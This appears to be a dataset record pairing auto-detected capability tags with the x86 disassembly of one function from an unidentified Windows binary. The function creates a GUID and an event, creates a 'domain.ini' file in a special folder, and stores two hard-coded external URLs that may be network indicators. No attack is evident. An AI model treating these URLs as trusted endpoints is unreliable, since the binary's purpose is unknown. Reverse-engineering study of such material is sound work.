Function at 0x406c90
Capabilities:
Check if file exists
Get common file path
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x472bfb
mov eax, dword fs:[0]
push eax
sub esp, 0x244
mov eax, dword [0x48e300]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [edi + 0x14], 0xf
mov dword [edi + 0x10], 0
mov dword [ebp - 0x24c], edi
mov byte [edi], 0
mov dword [ebp - 4], 0
mov dword [edi + 0x18], 0xa
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
lea esi, [edi + 0x3c]
mov word [edi + 0x34], 0x100
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov byte [esi], 0
mov byte [ebp - 4], 3
lea eax, [ebp - 0x240]
xorps xmm0, xmm0
push eax
mov dword [edi + 0x54], 0
mov dword [ebp - 0x240], 0
movq qword [ebp - 0x23c], xmm0
mov dword [ebp - 0x234], 0
call dword [sym.imp.ole32.dll_CoCreateGuid]
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x240]
push eax
mov dword [ebp - 0x244], 0
call dword [sym.imp.RPCRT4.dll_UuidToStringA]
mov edx, dword [ebp - 0x244]
cmp byte [edx], 0
jne 0x406d8d
xor ecx, ecx
jmp 0x406da5
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x248], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406d98
sub ecx, dword [ebp - 0x248]
push ecx
push edx
mov ecx, esi
call fcn.004014f0
lea eax, [ebp - 0x244]
push eax
call dword [sym.imp.RPCRT4.dll_RpcStringFreeA]
cmp dword [esi + 0x14], 0x10
jb 0x406dc3
mov esi, dword [esi]
push esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0x207
mov dword [edi + 0x38], eax
lea eax, [ebp - 0x217]
push 0
push eax
mov byte [ebp - 0x218], 0
call fcn.00424e10
add esp, 0xc
lea eax, [ebp - 0x218]
push 0
push 0x1a
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push str.domain.ini
lea eax, [ebp - 0x218]
push eax
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
cmp byte [ebp - 0x218], 0
jne 0x406e23
xor ecx, ecx
jmp 0x406e39
lea ecx, [ebp - 0x218]
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406e30
sub ecx, edx
push ecx
lea eax, [ebp - 0x218]
push eax
mov ecx, edi
call fcn.004014f0
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x406e82
push eax
push eax
push 2
push eax
push eax
push 0x1f01ff
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0x64
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1c
push str.http:__linkb.chinacentos.com
lea ecx, [ebp - 0x230]
mov dword [ebp - 0x21c], 0xf
mov dword [ebp - 0x220], 0
mov byte [ebp - 0x230], 0
call fcn.004014f0
lea eax, [ebp - 0x230]
push eax
lea ecx, [edi + 0x28]
mov byte [ebp - 4], 4
call fcn.00407980
mov byte [ebp - 4], 3
cmp dword [ebp - 0x21c], 0x10
jb 0x406edd
push dword [ebp - 0x230]
call fcn.00420618
add esp, 4
push 0x1c
push str.http:__linkb.liuliang163.com
lea ecx, [ebp - 0x230]
mov dword [ebp - 0x21c], 0xf
mov dword [ebp - 0x220], 0
mov byte [ebp - 0x230], 0
call fcn.004014f0
lea eax, [ebp - 0x230]
push eax
lea ecx, [edi + 0x28]
mov byte [ebp - 4], 5
call fcn.00407980
cmp dword [ebp - 0x21c], 0x10
jb 0x406f34
push dword [ebp - 0x230]
call fcn.00420618
add esp, 4
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00420548
mov esp, ebp
pop ebp
ret